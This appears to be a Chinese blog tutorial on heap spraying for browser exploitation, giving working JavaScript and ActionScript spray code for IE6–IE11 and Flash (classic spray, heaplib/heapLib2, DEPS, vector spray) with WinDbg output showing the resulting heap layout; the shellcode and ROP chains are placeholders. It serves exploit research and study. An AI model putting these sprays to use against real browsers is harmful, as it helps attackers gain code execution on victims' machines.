博客園的自動保存系統真心不咋地,寫的差不多的文章藍屏之后就沒有了,醉了!
瀏覽器是互聯網世界最主要的軟件之一,從IE6到IE11安全攻防在不斷升級,防御措施的實施促使堆噴射技巧不斷變化。寫這篇博文想好好整理並實踐一下這些年的堆噴射技巧。
文章主要參考《灰帽黑客》,近幾年的安全大會的一些演說,一些安全團隊的blog,當然由於水平有限,如有錯誤,歡迎指教。
1.Windows XP下的IE6和IE7的堆噴射都是老生常談了,最直接繼承了Skylined的思想,直接放代碼:
<html> <script > var shellcode = unescape('%u4141%u4141'); var bigblock = unescape('%u9090%u9090'); var headersize = 20; var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock; var fillblock = bigblock.substring(0,slackspace); var block = bigblock.substring(0,bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock; var memory = new Array(); for (i = 0; i < 500; i++) { memory[i] = block + shellcode } </script> </html>
這種堆噴射的關鍵在於使堆分配的分配的空間大小和它需要存儲的數據的大小盡量接近,直接用windbg看一下用上面代碼產生的效果如何。
其中,通過運行!heap –stat查看內存堆塊信息,通過運行!heap –stat –h可以查看所有堆的同類信息,通過運行!heap -flt s來指出所有指定大小的堆塊的信息。
0:009> !heap -stat _HEAP 00140000 Segments 00000002 Reserved bytes 00200000 Committed bytes 0009f000 VirtAllocBlocks 00000001 VirtAlloc bytes 021b0000 _HEAP 00910000 Segments 00000001 Reserved bytes 00100000 Committed bytes 00100000 VirtAllocBlocks 00000000 VirtAlloc bytes 00000000 .......
0:009> !heap -stat -h 140000 heap @ 00140000 group-by: TOTSIZE max-display: 20 size #blocks total ( %) (percent of total busy bytes) 7ffe0 1f5 - fa7c160 (99.78) 8000 1 - 8000 (0.01) 7fe0 1 - 7fe0 (0.01) 7fb0 1 - 7fb0 (0.01) 56f8 1 - 56f8 (0.01) 52ac 1 - 52ac (0.01) .....
0:009> !heap -flt s 7ffe0 _HEAP @ 140000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 02230018 fffc 0000 [0b] 02230020 7ffe0 - (busy VirtualAlloc) 021b0018 fffc fffc [0b] 021b0020 7ffe0 - (busy VirtualAlloc) 022b0018 fffc fffc [0b] 022b0020 7ffe0 - (busy VirtualAlloc) 02330018 fffc fffc [0b] 02330020 7ffe0 - (busy VirtualAlloc) 023b0018 fffc fffc [0b] 023b0020 7ffe0 - (busy VirtualAlloc) ...
效果很好,當然這種手段只能用於IE6,IE7。
2.heaplib,libheap2以及它的精准噴射技術。
heaplib是一個js關於內存分配的庫,主要用OLEAUT32.DLL中的SysAllocString()和SysFreeString()對系統內存進行精確分配,並進行封裝。這是由Alex Sotirow創建的,可成功在IE8進行噴射,關於SysAllocString()函數,並不是每次調用SysAllocString函數,都會在堆中新分配一個內存空間供string對象使用的。所需空間分配和釋放的具體工作是有OLEAUT32中的APP_DATA類實現的,在這個類中使用了一個很普通的內存分配算法:
一個類似於系統的堆內存分配函數(如HeapAlloc函數)使用的Lookaside list的緩存,被釋放的內存滿足一定條件時會被釋放到這個緩存中。
當應用程序調用APP_DATA::AllocCachedMem()函數時,它首先會檢查緩存中相應的項中的6個內存塊,從中找出最符合要求內存塊,然后把這個內存塊從緩存中釋放出來,把它直接返回給應用程序。如果沒有找到合適的內存塊,它就會調用HeapAlloc()函數從堆中發配新的內存空間。
在這種情況下,由於緩存內存的不確定性,會導致內存分配不能對齊。所以為了確保不重用堆緩存,可以直接分配6個塊,每個塊都是箱中允許的最大大小,不剩下任何可用的緩存塊,代碼如下:
//heapspary
plunger = new Array(); function flushCache() { plunger = null; CollectGarbage(); plunger = new Array(); for (i = 0; i < 6; i++) { plunger.push(alloc(32)); plunger.push(alloc(64)); plunger.push(alloc(256)); plunger.push(alloc(32768)); } } flushCache(); alloc_str(0x200); free_str();
flushCache();
SysFreeString()函數,實際在內部調用的是CollectGarbage()函數,調用這個函數我們就能立即強制垃圾處理機制。heaplib庫的應用范圍十分廣泛,本文只會專注於堆噴射領域,下面,看一下堆噴射代碼:
<!DOCTYPE html> <html> <head> <script type="text/javascript" src="heaplib.js"></script> </head> <body> <script type="text/javascript"> var heap_obj = new heapLib.ie(0x10000); var code = unescape("%ucccc"); while(code.length<400) code += code; code = code.substring(0,400); var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747%u4848%u4848"); var pad = unescape("%u9090%u9090"); while (pad.length < 0x1000) pad += pad; offset_length = 0x5F6; junk_offset = pad.substring(0, offset_length); var shellcode = junk_offset + rop + code + pad.substring(0, 0x800 - code.length - junk_offset.length - rop.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(2, 0x40000 - 0x21); for (var i=0; i < 500; i++) { heap_obj.alloc(block); } alert("HeapLib done"); </script> </body> </html>
Heaplib2庫與Heaplib庫最大的不同是使用了隨機生成的DOM特性,在堆中分配負載。這樣也繞過了一些瀏覽器的安全機制。可以在IE9~IE11成功噴射。
//heapSpray2
<!--Slighly modified and based on Chris Valasek script --> <!DOCTYPE html> <html> <head> <script type="text/javascript" src="heapLib2.js"></script> </head> <body> <h1 id="wonk" data-wonk="wonky">honk</h1> <script type="text/javascript"> var obj = document.getElementById("wonk"); //Create a heapLib2 object for Internet Explorer var heap = new heapLib2.ie(obj, 0x80000); var code = unescape("%ucccc"); while(code.length<400) code += code; code = code.substring(0,400); var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747%u4848%u4848"); var pad = unescape("%u9090%u9090"); while (pad.length < 0x1000) pad += pad; offset_length = 0x5F6; junk_offset = pad.substring(0, offset_length); var shellcode = junk_offset + rop + code + pad.substring(0, 0x800 - code.length - junk_offset.length - rop.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(2, 0x40000 - 0x21); for (var i = 0; i < 0x500; i++){ //this will bypass the cache allocator heap.sprayalloc("big_attr"+i, block); } heap.free("big_attr0"); alert("HeapLib2 done"); </script> </body> </html>
由於DEP的實施,不能直接跳到nop進行執行,需要先進行ROP是的shellcode得到執行,所以我們需要預測rop鏈的准確位置,由於內存分配是對齊的,這意味着如果我們用正確的大小的塊,和正確的大小的噴射塊,我們將確保每個噴射塊開始,將在可預見的地址定位。再通過簡單的計算,可以實現准確噴射。
3.DEPS技術(DOM Element Property Spray) Corelan Team在2013年在博客上發的一篇文章簡紹了這種技術。這項技術的思想是創建大量的DOM元素,設置一個元素屬性為特殊值,也可以混合使用各種元素。
此外,DOM元素完成精確分配不是新技術。但我沒看到基於這個概念的堆噴射。總之,DEPS技術基於以下四步:
>在頁面放置一個div元素
>新建大量的任意元素
>用payload設置title屬性,用substring()確保需要的長度
>增加這個到div
//噴射地址為0x20302228
<html> <head></head> <body> <div id='blah'></div> <script language='javascript'> var div_container = document.getElementById('blah'); div_container.style.cssText = "display:none"; var data; offset = 0x104; junk = unescape("%u2020%u2020"); while(junk.length < 0x1000) junk+=junk; rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747"); shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc"); data = junk.substring(0,offset) + rop + shellcode; data += junk.substring(0,0x800-offset-rop.length-shellcode.length); //20+rop+shellcode+20 length==0x800 while(data.length < 0x80000) data += data; for (var i=0; i < 0x250; i++) { var obj = document.createElement("spray"); obj.title = data.substring(0,0x40000-0x58); obj.style.fontFamily = data.substring(0,0x40000-0x58); div_container.appendChild(obj); } alert("spray done"); </script> </body> </html>
而且,這個技術並需要添加隨機數據來保證不被防御措施發現,這也是這個技術一個優勢所在。
4.HTML5 Spray,
HTML5的出現給瀏覽器提供更好的視頻和音頻體驗,而不需要依賴外部插件,但是,一個新功能產生的同時,也會帶來潛藏的攻擊面,關於攻擊面的描寫,可以參照博客另一篇文章(關於Andorid攻擊面)Core Security的Federico Muttis和Anibal Sacco在2012發表了關於使用HTML5進行堆噴射的研究。在其中,可以通過操作包括cancas在內的Uint8ClampedArray, FloatXXArray, IntXXArray, UintXXArray等元素來字節級加載負載。方然,直接使用這種方法速度過慢,容易被發現瀏覽器存在問題,更推薦使用WebWorker創建線程加快噴射。由於個人更喜愛DEPS,所以略寫,當然經過測試,可以繞過IE11的防御機制,代碼會放在文末的壓縮包里面。
5.使用ActionScript進行噴射
ActionScript是Flash的原因。這並不是什么新的技術,雖然使用的ActionScript和Javascript不同,但是噴射原理基本一致,這里着重講一下使用數組向量的Flash噴射:代碼如下
//噴射地址為1a1b2000 package { import flash.media.*; import flash.display.Sprite; public class VecSpray extends Sprite { public var s:__AS3__.vec.Vector.<Object>; public function VecSpray() { super(); this.s = new Vector.<Object>(98688); var loc1:*=0; while (loc1 < 98688) { this.s[loc1] = new Vector.<uint>(4096 / 4 - 2);//0x3FE this.s[loc1][0] = 0xDEADBEE1; this.s[loc1][(16 - 8) / 4] = 0x1a1b2000; //[2] this.s[loc1][(20 - 8) / 4] = 0x1a1b2000; //[3] this.s[loc1][(752 - 8) / 4] = 0x41414141; //[186] this.s[loc1][(448 - 8) / 4] = 0; //[110] ++loc1; } return; } } }
這里通過對98688和3FE對地址進行控制。同時還可以幫助繞過ROP+ALSR。
6.JIT Spray技術
JIT噴射”技術是在 2010年首次被提出來的。其基本思想是利用高級腳本語言中的常量數字在可預測的地址上產生想要的JIT指令片段。隨着JIT噴射作為一種可靠的漏洞利用技術逐漸流行起來,軟件廠商開始着手重新設計它們的JIT引擎。此后,一系列緩解措施被采用來防止JIT噴射,比如隨機化JIT代碼頁的分配及變換JIT代碼生成。這導致JIT基本已經退出了歷史的舞台,但是作為一種思路可以學習一下,這里就略去了,可以根據壓縮包里資料自主學習。